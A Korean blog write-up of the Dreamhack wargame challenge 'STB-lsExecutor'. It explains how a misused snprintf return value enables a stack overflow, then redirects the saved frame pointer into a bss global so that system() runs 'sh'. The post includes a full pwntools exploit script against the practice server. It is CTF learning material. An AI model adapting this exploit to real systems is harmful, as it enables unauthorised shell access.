security/포너블 - dreamhack

[Dreamhack Wargame] STB-lsExecutor

민사민서 2023. 6. 15. 01:16

소스코드이다.

처음엔 필터링 우회해서 효과적인 command를 구성하려 했는데 어림도 없더라

 

read_data(data,60);
size = snprintf(command, 30, "ls -%s ", data);
printf("Enter path : ")
read_data(&command[size], 70);

system(command)

** snprintf 취약점 **

snprintf는 두 번째 인자로 size(입력받을 input 크기)를 지정할 수 있지만

snprintf의 반환값은 버퍼에 실제로 쓰인 문자의 수가 아니라, 버퍼가 무한하다고 가정했을 때 쓰이게 될 문자의 수라고 한다

 

따라서 read_data에서 data에 60자 입력 시, 마지막 null 바이트 치환되면서 59자가 되고

size = 0x40 담긴다 (기존 포맷스트링 5자 + 59자 = 64)

 

두 번째 read_data에서는 read(0, &command[0x40], 0x46) 할 수 있는거임 

command[0x40] = $rbp-0x70 + 0x40 = $rbp-0x30

=> BOF 가능!! (SFP, RET overwrite 가능)

 

Partial RELRO   No canary found   NX enabled    No PIE   => 최고의 BOF 환경

 

main+164로 리턴하면 되겠다

 

처음에는 인자 전달을 rop 가젯으로 하려 했는데, $rbp+0x16까지만 overwrite 가능해서 길이 부족

rbp-0x70에 유효한 주소가 담겨있으면 된다 = SFP를 적절히 조작하면 된다

좋은 게 없나 IDA를 살펴보던 중 sel만 색깔이 달랐다  => 전역변수이고 bss영역에 있다 (주소 고정, 원하는 값 입력 가능 ㅋㅋ)

 

sel에 문자열 넣어두고
rbp-0x70이 sel 가리키게 하고
main+4013cb로 흐름 옮기면 끗!

+ 반복문 탈출은 DWORD [rbp-0x4] 값 + 1 과 9를 비교해서 결정하므로

+ rbp-0x4 에 9 이상의 값만 넣어주면 반복문 한 번만 돌고 바로 탈출하겠지

 

from pwn import *

# p = process("./stb-lsExecutor")
p = remote("host3.dreamhack.games", 10760)

sel_addr = 0x404079
main_addr = 0x4013cb

p.sendafter("Enter option : ", b'A'*60)

payload = b'A'*0x2c
payload += p32(0x9) # 반복문 통과
payload += p64(sel_addr + 0x70) # SFP
payload += p64(main_addr) # RET
p.sendafter("Enter path : ", payload)

p.sendafter("y/n\n", "sh")
p.interactive()

 

추가 풀이

- SFP를 BSS 영역으로 옮긴다 (조건: [rbp-0x8]에 0이 담겨있어야 하며, [rbp-0x70]이 유효한 bss 상의 주소여야 함)

- RET는 read_data 호출 전 인자 셋팅하는 main+139로 옮긴다

- "shh"를 입력한다 (read_data에서 마지막 바이트 널바이트로 치환하므로)

 

 

'security > 포너블 - dreamhack' 카테고리의 다른 글

pwn 강좌 메모  (0) 2023.06.15
[Dreamhack Wargame] Cat-Jump  (0) 2023.06.15
[Dreamhack Wargame] awesome_basic  (0) 2023.06.15
[Dreamhack Wargame] Stupid GCC  (0) 2023.06.14
[Dreamhack Wargame] FSB_Overwrite  (0) 2023.06.14